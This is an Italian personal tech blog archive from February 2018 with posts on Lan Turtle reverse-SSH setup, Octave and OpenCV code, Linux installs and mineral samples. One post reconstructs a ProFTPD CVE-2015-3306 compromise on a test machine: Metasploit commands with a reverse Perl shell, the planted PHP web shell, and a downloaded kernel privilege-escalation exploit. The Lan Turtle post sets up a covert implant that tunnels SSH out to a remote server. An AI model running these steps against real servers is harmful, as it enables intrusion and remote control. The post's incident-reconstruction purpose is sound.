mercoledì 28 febbraio 2018

Reverse SSH con Lan Turtle

Un paio un po' di premesse

1) l'hardware non e' male .... il problema e' dal punto di vista software fa veramente schifo. E' molto meglio andare in shell e configurarsi tutto a mano

2) Nonostante abbia pagato la spedizione mi sono trovato la sorpresa della dogana. Non era meglio indicarlo prima ?'

3) l'hardware ripeto non e' male....ma sono cose che si possono fare con qualsiasi Raspberry o simili. L'unico vantaggio reale e' che il dispositivo e' molto anonimo...certo che si prevedeva l'alimentazione POE (e non come unica fonte dal lato USB) non era necessario attaccare un trasformatore od un powerbank che in un rack di rete attirano decisamente l'attenzione. Se si usa una porta USB dello switch si deve installare un dongle Data Blocker per evitare che si apra la porta sul 172.xxx.xxx.xxx

4) E' possibile configurare la Lan Turtle solo se si connettono insieme la USB e il cavo Ethernet. Solo con la USB connessa non si riesce ad entrare in SSH nonostante il dispositivo sia acceso

5) Visto le lamentele di molti utenti NON ho fatto l'update del firmware alla v.4




Dopo le premesse si inizia: Lan Turtle e' un dispositivo che puo' essere utile per amministrare le proprie reti oppure per violare reti altrui...in ogni caso si deve accesso fisico alla rete. E' costituito da una porta USB (che viene configurata come una scheda di rete virtuale) che si usa per la configurazione del dispositivo all'indirizzo 172.16.84.1 (con DHCP Server) ed una porta Ethernet (con un DHCP client). Quando si inserisce in un computer la scheda e' completamente trasparente e non si ha la necessita' di installare driver...tutto il traffico in entrata ed in uscita dal computer viene instradato in modo trasparente tra le due interfacce
La documentazione ufficiale si trova qui https://www.hak5.org/gear/lan-turtle/docs
Una volta entrati come root con la password di default sh3llz (e' richiesto il cambio al primo accesso) si entra in un menu di amministrazione (richiamabile da shell con il comando turtle) ma si fa prima a non usarlo perche' e' molto buggato (almeno per la parte autossh)

Prima di procedere alla configurazione di autossh si deve creare la chiave SSH e si deve effettuare lo scambio con il server esterno da cui controllare Lan Turtle. Per verificare che cio' sia avvenuto in modo corretto se ci ci connette in SSH da shell non dovra' essere richiesta la password (in questa fase ho riscontrato un problema ma i codici di errori erano sparsi per tutto lo schermo...meglio usare le vecchie maniere) 
Questa e' l'interfaccia di amministrazione di AutoSSH ... come si vede accanto all'IP del server remoto c'e' un carattere apice...non l'ho messo io...lo mette in automatico Lan Turtle ed il bello e' che lo scrive anche nel file /etc/init.d/autossh rendendolo lo script non eseguibile

Una volta fatta la configurazione si dovrebbe avviare AutoSSH ogni reboot....ma non funziona.
il file /etc/config/autossh configurato a mano e che funziona e' il seguente
-----------------------------------
config autossh
option gatetime '0'
option monitorport '20000'
option poll '600'

option ssh '-i /root/.ssh/id_rsa -N -T -R 2222:localhost:22 luca@xxx.xxx.xxx.xxx'
-----------------------------------

La soluzione per avviare AutoSSH al boot e' quella di configurare il file /etc/rc.local
/etc/init.d/autossh enable

Comunque puo' essere interessante fare un giro a questo link per vedere quanti problemi software ha questo dispositivo. In caso di problemi il reset del firmware e' possibile ma non immediato

USGS Spectral Library Convex Hull con Octave

Questo post e' l'inizio di un lavoro sulle reti neurali applicate a dati iperspettrali (il tema della mia tesi di dottorato)

Per usare una rete neurale e' necessario avere una ottima base dati di training ed ho scelto l'archivio USGS Spectral Library scaricabile liberamente e con dati in formato testuale



Il primo lavoro da fare e' quello di normalizzare gli spettri. Quando ero all'Universita' avevo accesso ad una licenza di Matlab ma adesso devo impiegare Octave, la versione Open Source di Matlab.
Questo metodo e' descritto nell'articolo

Two GUIs-based analysis tool for spectroradiometer data pre-processing

----------------------------------------------------------------------------------
close all
clear all

filename = 's07HYPRN_Actinolite_HS22.2B_ASDFRb_AREF.txt';
fid = fopen (filename, "r");
conta = 0;
nr = 2;
dati = [];

#aggiunge uno zero in testa 
#serve per rendere il calcolo di Convex Hull
#piu' affidabile
dati = [dati;0];

#legge tutte le righe del file saltando
#la prima ed inserendo il tutto in array
while (!feof(fid))
  text_line = fgetl(fid);
  #salta la prima riga descrittiva
  if (conta > 0)
    transi = str2num(text_line);
    # salta in valori NULL
    if (transi > 0)
      dati = [dati;transi];
      nr = nr +1;
      endif
  endif
  conta = conta + 1;
endwhile
fclose (fid);

#aggiunge uno zero in coda
#serve per rendere il calcolo di Convex Hull
#piu' affidabile
dati = [dati;0];


x = 1:1:nr;
reshape(x,1,nr);

#calcola la convex hull dello spettro
cx = convhull(x,dati);

#rende continua la convex hull 
#la convex hull viene calcolata di default
#come una spezzata di segmenti
xq = 1:1:nr;
vq1 = interp1(x(cx),dati(cx),xq);

#divide ogni valore di riflettanza per il corrispondente
#valore della convex hull per ottenere valori normalizzati
dati2 = reshape(dati,1,nr);
normalizzato = dati2./vq1;

#plotta i dati 
plot(x(cx),dati(cx),'r-',x,vq1,'b*',x,normalizzato,"g*");

#salvi i dati normalizzati in un file csv
normalizzato = normalizzato(2:nr-1);

#il nome del file normalizzato ha un prefisso "norm_"
filename = ["norm_" filename];
dlmwrite(filename,normalizzato);

lunedì 26 febbraio 2018

LXLE su Sony VAIO VGN-SZ5XN/C

Il Sony VAIO  VGN-SZ5XN/C e' stata la mia macchina aziendale per circa un annetto nel 2007 ed era una gran bella macchina per l'epoca...ultra leggera con inserti al carbonio e plastiche cosi' sottili che scricchiolavano sotto la pressione (oltre al rumore delle ventole spesso attive). Ne ho trovato uno su Ebay a 50 euro e non ho potuto fare a meno di ricompralo

Il problema e' che e' ad oggi una macchina datata con 2 Giga di Ram ed un processore che fa molta fatica...non essendoci piu' ChrunchBang (in realta' continuata da BunsenLabs) come distribuzione Linux ho provato LXLE, una versione di Ubuntu LTS apposta per hardware obsoleto (ne esiste una versione anche 32 bit) e devo ammettere che e' molto ben fatta

giovedì 22 febbraio 2018

Compromissione CVE-2015-3306

In questo post racconto una esperienza con un macchina compromessa su cui pero' non ho avuto accesso fisico o di shell perche' non da me amministrata




visto che la macchina ospita vari siti Wordpress il primo tentativo e' stato di verificare se sul sito compromesso erano presenti plugin/temi vulnerabili

wpscan -u http://xxxxxxx --enumerate --log

--------------------------------
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://xxxxxxxxx.it/
[+] Started: Wed Feb 21 10:36:40 2018

[+] robots.txt available under: 'http://xxxxxxxxx.it/robots.txt'
[+] Interesting entry from robots.txt: http://xxxxxxxxx.it/wp-admin/admin-ajax.php
[!] The WordPress 'http://xxxxxxxxx.it/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://xxxxxxxxx.it/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: LINK: <http://xxxxxxxxx.it/>; rel=shortlink
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: SET-COOKIE: wfvt_2345687367=5a8d3d46d77c0; expires=Wed, 21-Feb-2018 10:05:02 GMT; Max-Age=1800; path=/; httponly
[+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)
[+] XML-RPC Interface available under: http://xxxxxxxxx.it/xmlrpc.php
[!] Upload directory has directory listing enabled: http://xxxxxxxxx.it/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://xxxxxxxxx.it/wp-includes/

[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator
[!] 1 vulnerability identified from the version number

[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
    Reference: https://wpvulndb.com/vulnerabilities/9021
    Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
    Reference: https://github.com/quitten/doser.py
    Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

[+] WordPress theme in use: cittinfo - v1.0.0

[+] Name: xxxxxxx - v1.0.0
 |  Location: http://xxxxxxxxx.it/wp-content/themes/xxx/
 |  Readme: http://xxxxxxxxx.it/wp-content/themes/xx/readme.txt
 |  Style URL: http://xxxxxxxxx.it/wp-content/themes/xxxx/style.css
 |  Theme Name: xxxxx
 |  Theme URI: https://xxxxxxxxx.it
 |  Description: xxxx
 |  Author: xxxx
 |  Author URI: http://www.xxxx.it

[+] Enumerating installed plugins (only ones with known vulnerabilities) ...


[+] We found 2 plugins:

[+] Name: Ultimate_VC_Addons
 |  Location: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/
 |  Changelog: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/changelog.txt
[!] Directory listing is enabled: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: Ultimate Addons for Visual Composer <= 3.16.11 - Authenticated XSS, CSRF, RCE
    Reference: https://wpvulndb.com/vulnerabilities/8821
    Reference: http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/
    Reference: https://codecanyon.net/item/ultimate-addons-for-visual-composer/6892199
[i] Fixed in: 3.16.12

[+] Name: js_composer
 |  Location: http://xxxxxxxxx.it/wp-content/plugins/js_composer/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: Visual Composer <= 4.7.3 - Multiple Unspecified Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8208
    Reference: http://codecanyon.net/item/visual-composer-page-builder-for-wordpress/242431
    Reference: https://forums.envato.com/t/visual-composer-security-vulnerability-fix/10494/7
[i] Fixed in: 4.7.4

[+] Enumerating installed themes (only ones with known vulnerabilities) ...


[+] No themes found

[+] Enumerating timthumb files ...


[+] No timthumb files found

[+] Enumerating usernames ...
[+] We did not enumerate any usernames

[+] Finished: Wed Feb 21 10:41:01 2018
[+] Requests Done: 4864
[+] Memory used: 136.785 MB
[+] Elapsed time: 00:04:20
--------------------------------
La scansione di Wordpress evidenzia alcuni problemi ma nessun che possa portare ad una compromissione della macchina. Si sa che e' un server Debian con directory listabili sul server apache ed qualche problema di XSS
Passiamo alla scansione dei servizi dove c'e' qualcosa di interessante. Il server FTP mostra una versione vulnerabile

--------------------------------
sh-3.2# nmap -sV -T4 -F 150.217.73.96

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-21 10:48 CET
Nmap scan report for xxxxxxxxxx (xxx.xxx.xxx.xxx)
Host is up (0.24s latency).
Not shown: 67 filtered ports, 30 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
--------------------------------
Ho quindi provato a costruirmi una macchina di test per ricreare il problema,fare l'exploit con metasploit e verificare se era quello il punto di ingresso

La vulnerabilita' CVE-2015-3306 e' relativa alla versione 1.3.5 ProFTPD sono se e' montato il modulo mod_write. Dato che adesso tutti i pacchetti delle maggiori distribuzioni sono patchati per ripetere l'exploit ho scaricato i sorgenti originali di ProFTPD da questo link compilando a mano con i seguenti comandi

./configure --with-modules=mod_copy
make
make install

senza loggarsi sul server si puo' verificare se Proftpd e' soggetto alla vulnerabilita'. Basta digitare

site help

e vedere se sono disponibili i comandi CPFR e CPTO (se il modulo mod_write non e' compilato si vedranno solo HELP e CPTO)

ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
 CPFR <sp> pathname
 CPTO <sp> pathname
 HELP
 CHGRP
 CHMOD

ok il server e' soggetto alla vulnerabilita'.  Ho quindi aperto metasploit (su Kali Linux per semplicita')  con

msfconsole

use exploit/unix/ftp/proftpd_modcopy_exec
show options

set RHOST xxx.xxx.xxx.xxx (indirizzo numerico remoto)

set SITEPATH /var/www/html/xxxxxx/xxxxx/
 (la macchina Debian ha il path della html dir qui)

set TARGETURI /xxxxx/xxxxx

show payloads

use cmd/unix/reverse_perl

set LHOST xxx.xxx.xxx.xxx (ip della macchina che attacca a cui ricevere la reverse shell)

run

nel caso in cui il server non monti il mod_write si ottiene il seguente messaggio

Exploit aborted due to failure: unknown: xxx.xxx.xxx.xxx:21 - Failure copying from /proc/self/cmdline

altrimenti si ha un messaggio del genere

msf exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:4444
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Connected to FTP server
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Sending copy commands to FTP server
[*] xxx.xxx.xxx.xxx:80 - Executing PHP payload /test/2jXgD.php
[*] Command shell session 1 opened (xxx.xxx.xxx.xxx:4444 -> xxx.xxx.xxx.xxx:44882) at 2018-02-21 13:32:20 +0100

a questo punto si e' aperta una shell (anche se a video non compare nessun messaggio) e digitando i comandi si puo' interagire con il server remoto

whoami (si ha come risposta www-data)
ifconfig 
uname -a

nel webserver troveremo il nuovo file 2jXgD.php con questo contenuto
proftpd: xxx.xxx.xxx.xxx:36289: SITE CPTO /tmp/.<?php passthru($_GET['4PuZG']);?>msf exploit(unix/ftp/proftpd_modcopy_exec) > 

una volta entrati nel server il passo successivo e' quello di fare una scalata dei privilegi locali
e questo non e' banale
Per esempio se uname ci dice che e' in uso un kernel 4.14.0-rc4  si puo' tentare questa strada

 wget https://www.exploit-db.com/download/43029.c

gcc 43029.c

./a.out ....

mercoledì 21 febbraio 2018

Microcopio USB su Android

Ho provato ad usare il telefono Android come piccolo microscopio portatile accompiandolo via USB/OTG


Per fare questa operazione e' necessario che il firmware Android del telefono abbia compilato il modulo v4l (video for Linux) in caso contrario non sara' possibile fare niente


Nonostante il costo ridicolo del microscopio (a cui aggiungere l'adattatore OTG) il tutto funziona sorprendentemente bene

Actinolite e Tremolite ad Impruneta

Avvertimento : l'actinolite appartiene alla famiglia dell'asbesto e quindi e' potenzialmente sorgente di fibre che possono generare malattie cancerogene quali il mesotelioma. Da gestire in condizioni di sicurezza 

Avvertimento : i dati sotto riportati sono relativi solo ad osservazioni. Non ho possibilita' di effettuare determinazione analitiche o al SEM per avere conferma della determinazione.
-----------------------------------------------------



Affioramento Sassi Neri Impruneta lungo la strada che collega a Strada in Chianti

L'actinolite e' un anfibolo  parente stretto della tremolite (cui si differenzia solo per la differente percentuale di sostituzione tra Mg e Fe). La formula completa, sia di tremolite che di actinolite, e'
Ca2(Mg,Fe2+)5Si8O22(OH)2

Gli anfiboli contenenti Ca sono tipici delle rocce ultrafemiche

Per i riferimenti di minerologia si rimanda a Mindat

A livello di affioramento l'unico indicatore e' dato dal colore che risulta essere verde tendente al nero per l'actinolite mentre e' bianco per la tremolite. Mentre nel campione 1 sembra che vi sia solo actinolite nel campione 2 potrebbe esservi sia tremolite che actinolite

Colpendo con il martello (cosa da non fare ma mi e' scappato un colpo) il colore diventa bianco

Tutte le mineralizzazioni si presentano con accrescimenti lungo la superficie di frattura e non ortogonali alla stessa.
Nel campione 1 l'aspetto dell'actinolite e' piu' massivo. Si nota la direzione di accrescimento ma non si notano in modo evidente la separazione tra i diversi cristalli lungo l'asse maggiore.

Campione 1

Campione 1

Campione 2
Alcuni ingrandimenti con un microscopio USB a 50X (circa). In affioramento con la lentina da 20x la struttura e' comunque evidente



Dettagli Campione 1







Dettagli Campione 2








Da notare che in alcune zone del campione al microscopio si nota una estesa presenza di fori nella zona esposta all'alterazione meteorica dell'affioramento...non ho idea se si tratti di azione di piante od animali

Sono presenti anche campioni di serpentino ma non ho visto presenza di crisotilo alla scala di affioramento

Campione 3






giovedì 15 febbraio 2018

Esperimenti con filtri Canny ed Hough Lines con OpenCV







----------------------------------------------------------------------------------------------





----------------------------------------------------------------------------------------------
import cv2
import numpy as np
from matplotlib import pyplot as plt

img = cv2.imread('casa.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

# parametri automatici Canny
#ret,th = cv2.threshold(gray,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)
#edges = cv2.Canny(img,ret,ret*0.5)

v = np.median(gray)
sigma = 0.3
lower = int(max(0,(1.0-sigma)*v))
upper = int(max(0,(1.0+sigma)*v))

print lower
print upper

edges = cv2.Canny(img,lower,upper)

cv2.imwrite('canny_casa.jpg',edges)


lines = cv2.HoughLines(edges,1.5,np.pi/180,370)
for rho,theta in lines[0]:
    a = np.cos(theta)
    b = np.sin(theta)
    x0 = a*rho
    y0 = b*rho
    x1 = int(x0 + 1000*(-b))
    y1 = int(y0 + 1000*(a))
    x2 = int(x0 - 1000*(-b))
    y2 = int(y0 - 1000*(a))

    cv2.line(img,(x1,y1),(x2,y2),(0,0,255),2)

cv2.imwrite('risultato_casa.jpg',img)



martedì 13 febbraio 2018

Dual boot Ubuntu su MacBook

Avevo gia' messo in dual boot MacOs X con Ubuntu su un MacBook qualche anno fa ma non mi ero appuntato la procedura e cosi' ho dovuto reimparare da capo..questa volta scrivo qui i passi.

Il Mac parte tranquillamente da una normale Ubuntu Live 16.04.03 mettendo la penna USB e premendo il tasto Option al boot.


Invece di fare partire l'installer ho lanciato GParted (che e' compreso nella live) per ridurre la dimensione della partizione OSX e lasciare posto a Ubuntu creando le due partizioni di root e di swap. A questo punto si lancia l'installer e fa tutto in automatico...anche troppo...infatti quando ho visto che installava Grub senza chiedermi niente ho capito di essere nei guai.
Al riavvio successivo infatti e' partita in automatico Ubuntu senza possibilita' di scegliere Linux...attimo di panico e riavvio premendo il tasto Option ha fatto vedere la partizione MacOsx

E' arrivato il momento di aggiungere rEFInd, il boot manager, ma prima dovevo disabilitare SIP (crutil disable), operazione di effettua dalla modalita' Recovery di Mac....tranne per il fatto che il computer non ne voleva sapere di Command+R. Ho scoperto dopo un po' di prove che priva dovevo selezionare la partizione Mac con Option e poi dare Command+R per entrare in Recovery



Fatto cio' ed montato rEFInd l'ultimo problema e' stato quello di configurare la scheda WiFi di Ubuntu con

sudo apt-get update
sudo apt-get install firmware-b43-installer
mancherebbe da settare la retroilluminazione della tastiera ma per questo dettaglio c'e' tempo

lunedì 12 febbraio 2018

Realtime Hough Lines con OpenCV su Android

L'idea e' quella di utilizzare OpenCV per estrarre le linee in realtime dalle immagini riprese dalla fotocamera del telefono



Dopo avere impostato un nuovo progetto OpenCV su Android come visto qui ho modificato il secondo esempo (mixed_sample)

Un po' di commenti
1) il flusso di lavoro prevede di prendere l'immagine dalla fotocamera, convertirla in scala di grigi, applicare il filtro Canny, applicare l'algoritmo delle Hough Lines,  selezionare solo le linee maggiore di un valore limite (altrimenti l'algoritmo diventa rumoroso), calcolare il coefficiente angolare di ogni linea per creare 5 classi angolari (-90°/-60°,-60°/-30°,-30°/0°,0°/30°,30°/60°,60°/90°),  popolare una textbox in altro a sinistra con i valori delle classi,sovrapporre le Hough Lines all'immagine RGB (Img.procline) e mostrare il tutto sullo schermo

2) per poter modificare la textbox si deve procedere mediante RunonUIThread




uno dei problemini che si hanno usando i filtri con i parametri cosi' come sono impostati e' che
in scene reali complesse, il filtro canny puo' comportarsi in questo modo


rendendo totalmente inutile la ricerca delle houghlines. Per risolvere questo problema possono essere calcolati i valori di threshold in modo automatico dalla deviazione media dell'immagine come segue

MatOfDouble mu = new MatOfDouble();
MatOfDouble sigma = new MatOfDouble();

Core.meanStdDev(inputFrame.gray(),mu,sigma);

Mat lines = new Mat();
Imgproc.Canny(inputFrame.gray(), mIntermediateMat, mu.get(0,0)[0] - sigma.get(0,0)[0], mu.get(0,0)[0] - sigma.get(0,0)[0]); 

per fare le cose in modo piu' pulito possono essere usate le funzioni di OpenCV come il filtro adattativo

Imgproc.adaptiveThreshold(inputFrame.gray(),result,255,
Imgproc.ADAPTIVE_THRESH_GAUSSIAN_C,Imgproc.THRESH_OTSU,15,4)


Layout
---------------------------------
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"    
xmlns:tools="http://schemas.android.com/tools"   
 xmlns:opencv="http://schemas.android.com/apk/res-auto"  
  android:layout_width="match_parent"    
android:layout_height="match_parent" >

    <org.opencv.android.JavaCameraView        
android:layout_width="fill_parent"        
android:layout_height="fill_parent"        
android:visibility="gone"        
android:id="@+id/tutorial1_activity_java_surface_view"        
opencv:show_fps="true"        
opencv:camera_id="any" />

    <LinearLayout        
android:layout_width="match_parent"        
android:layout_height="match_parent"        
android:orientation = "vertical" >

        <TextView            
android:layout_width="wrap_content"            
android:layout_height="wrap_content"            
android:id="@+id/fps_text_view"            
android:textSize="12sp"
            android:text="FPS:" />

    </LinearLayout>



</FrameLayout>
---------------------------------
Codice
---------------------------------

import android.app.Activity;
import android.graphics.Color;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.SurfaceView;
import android.view.WindowManager;
import android.widget.TextView;

import org.opencv.android.OpenCVLoader;

import org.opencv.android.BaseLoaderCallback;
import org.opencv.android.CameraBridgeViewBase.CvCameraViewFrame;
import org.opencv.android.LoaderCallbackInterface;
import org.opencv.core.CvType;
import org.opencv.core.Mat;
import org.opencv.android.CameraBridgeViewBase;
import org.opencv.android.CameraBridgeViewBase.CvCameraViewListener2;
import org.opencv.core.Point;
import org.opencv.core.Scalar;
import org.opencv.imgproc.Imgproc;

import java.util.function.DoubleToLongFunction;

public class MainActivity extends Activity implements CvCameraViewListener2 {

    private static final String    TAG = "OCVSample::Activity";

    private static final int       VIEW_MODE_RGBA     = 0;
    private static final int       VIEW_MODE_GRAY     = 1;
    private static final int       VIEW_MODE_CANNY    = 2;
    private static final int       VIEW_MODE_FEATURES = 5;
    private static final int       VIEW_MODE_HOUGH = 3;


    private int                    mViewMode;
    private Mat                    mRgba;
    private Mat                    mIntermediateMat;
    private Mat                    mGray;

    private MenuItem               mItemPreviewRGBA;
    private MenuItem               mItemPreviewGray;
    private MenuItem               mItemPreviewCanny;
    private MenuItem               mItemPreviewFeatures;

    private CameraBridgeViewBase   mOpenCvCameraView;

    int [] classi = new int[10];


    int threshold = 50;
    int minLineSize = 20;
    int lineGap = 10;


    private BaseLoaderCallback  mLoaderCallback = new BaseLoaderCallback(this) {
        @Override        public void onManagerConnected(int status) {
            switch (status) {
                case LoaderCallbackInterface.SUCCESS:
                {
                    Log.i(TAG, "OpenCV loaded successfully");

                    mOpenCvCameraView.enableView();
                } break;
                default:
                {
                    super.onManagerConnected(status);
                } break;
            }
        }
    };
    private TextView testo;


    /** Called when the activity is first created. */    @Override    public void onCreate(Bundle savedInstanceState) {
        Log.i(TAG, "called onCreate");
        super.onCreate(savedInstanceState);
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);

        setContentView(R.layout.activity_main);

        testo = (TextView) findViewById(R.id.fps_text_view);
        testo.setTextColor(Color.RED);


        mOpenCvCameraView = (CameraBridgeViewBase) findViewById(R.id.tutorial1_activity_java_surface_view);
        mOpenCvCameraView.setVisibility(CameraBridgeViewBase.VISIBLE);
        mOpenCvCameraView.setCvCameraViewListener(this);
        mViewMode = VIEW_MODE_HOUGH;
    }

    @Override    public boolean onCreateOptionsMenu(Menu menu) {
        Log.i(TAG, "called onCreateOptionsMenu");
        mItemPreviewRGBA = menu.add("Preview RGBA");
        mItemPreviewGray = menu.add("Preview GRAY");
        mItemPreviewCanny = menu.add("Canny");
        mItemPreviewFeatures = menu.add("Find features");
        return true;
    }

    @Override    public void onPause()
    {
        super.onPause();
        if (mOpenCvCameraView != null)
            mOpenCvCameraView.disableView();
    }

    @Override    public void onResume()
    {
        super.onResume();
        if (!OpenCVLoader.initDebug()) {
            Log.d(TAG, "Internal OpenCV library not found. Using OpenCV Manager for initialization");
            OpenCVLoader.initAsync(OpenCVLoader.OPENCV_VERSION_3_0_0, this, mLoaderCallback);
        } else {
            Log.d(TAG, "OpenCV library found inside package. Using it!");
            mLoaderCallback.onManagerConnected(LoaderCallbackInterface.SUCCESS);
        }
    }

    public void onDestroy() {
        super.onDestroy();
        if (mOpenCvCameraView != null)
            mOpenCvCameraView.disableView();
    }

    public void onCameraViewStarted(int width, int height) {
        mRgba = new Mat(height, width, CvType.CV_8UC4);
        mIntermediateMat = new Mat(height, width, CvType.CV_8UC4);
        mGray = new Mat(height, width, CvType.CV_8UC1);
    }

    public void onCameraViewStopped() {
        mRgba.release();
        mGray.release();
        mIntermediateMat.release();
    }

    public static boolean isBetween(double x, double lower, double upper) {
        return lower <= x && x <= upper;
    }


    public Mat onCameraFrame(CvCameraViewFrame inputFrame) {
        final int viewMode = mViewMode;
        switch (viewMode) {
            case VIEW_MODE_GRAY:
                // input frame has gray scale format                
               Imgproc.cvtColor(inputFrame.gray(), mRgba, Imgproc.COLOR_GRAY2RGBA, 4);
                break;
            case VIEW_MODE_RGBA:
                // input frame has RBGA format                
               mRgba = inputFrame.rgba();
                break;
            case VIEW_MODE_CANNY:
                // input frame has gray scale format                mRgba = inputFrame.rgba();
                Imgproc.Canny(inputFrame.gray(), mIntermediateMat, 80, 100);
                Imgproc.cvtColor(mIntermediateMat, mRgba, Imgproc.COLOR_GRAY2RGBA, 4);


                break;
            case VIEW_MODE_HOUGH:

                mRgba = inputFrame.rgba();

                Mat lines = new Mat();
                Imgproc.Canny(inputFrame.gray(), mIntermediateMat, 80, 100);
                Imgproc.HoughLinesP(mIntermediateMat,lines, 1, Math.PI/180, threshold,minLineSize, lineGap);


                Log.d("Linee", Integer.toString(lines.rows()));



                for (int x = 0; x < lines.rows(); x++) {
                    double[] vec = lines.get(x, 0);
                    double x1 = vec[0],
                            y1 = vec[1],
                            x2 = vec[2],
                            y2 = vec[3];
                    Point start = new Point(x1, y1);
                    Point end = new Point(x2, y2);
                    double dx = x1 - x2;
                    double dy = y1 - y2;

                    double m = Math.toDegrees(Math.atan(dy / dx));
                    Log.d("Angolo", Double.toString(m));

                    double dist = Math.sqrt(dx * dx + dy * dy);
                    Log.d("Distanza", Double.toString(dist));


                    //calcola le classi in base all'angolo del coefficiente angolare
                    if (dist > 50.d)                    {
                                if (isBetween(m, -90.0, -60.0)) {
                                    classi[0] = classi[0] + 1;
                                }

                                if (isBetween(m, -60.0, -30.0)) {
                                    classi[1] = classi[1] + 1;
                                }


                                if (isBetween(m, -30.0, 0.0)) {
                                    classi[2] = classi[2] + 1;
                                }

                                if (isBetween(m, 0.0, 30.0)) {
                                    classi[3] = classi[3] + 1;
                                }

                                if (isBetween(m, 30.0, 60.0)) {
                                    classi[4] = classi[4] + 1;
                                }

                                if (isBetween(m, 60.0, 90.0)) {
                                    classi[5] = classi[5] + 1;
                                }
                        //sovrappone le Hough Lines
                        Imgproc.line(mRgba, start, end, new Scalar(255,0, 0, 1),2);
                }


                 

                }



                break;
            case VIEW_MODE_FEATURES:
                // input frame has RGBA format                mRgba = inputFrame.rgba();
                mGray = inputFrame.gray();
                break;
        }


        runOnUiThread(new Runnable() {
            @Override            public void run() {
                testo.setText(" -90/-60 "+Integer.toString(classi[0])+"\n" +
                              " -60/-30 "+Integer.toString(classi[1])+"\n" +
                              " -30/0   "+Integer.toString(classi[2])+"\n" +
                              "   0/30  "+Integer.toString(classi[3])+"\n" +
                              "  30/60  "+Integer.toString(classi[4])+"\n" +
                              "  60/90  "+Integer.toString(classi[5])+"\n"
                );
            }
        });

        return mRgba;
    }

    public boolean onOptionsItemSelected(MenuItem item) {
        Log.i(TAG, "called onOptionsItemSelected; selected item: " + item);

        if (item == mItemPreviewRGBA) {
            mViewMode = VIEW_MODE_RGBA;
        } else if (item == mItemPreviewGray) {
            mViewMode = VIEW_MODE_GRAY;
        } else if (item == mItemPreviewCanny) {
            mViewMode = VIEW_MODE_CANNY;
        } else if (item == mItemPreviewFeatures) {
            mViewMode = VIEW_MODE_FEATURES;
        }

        return true;
    }


}
---------------------------------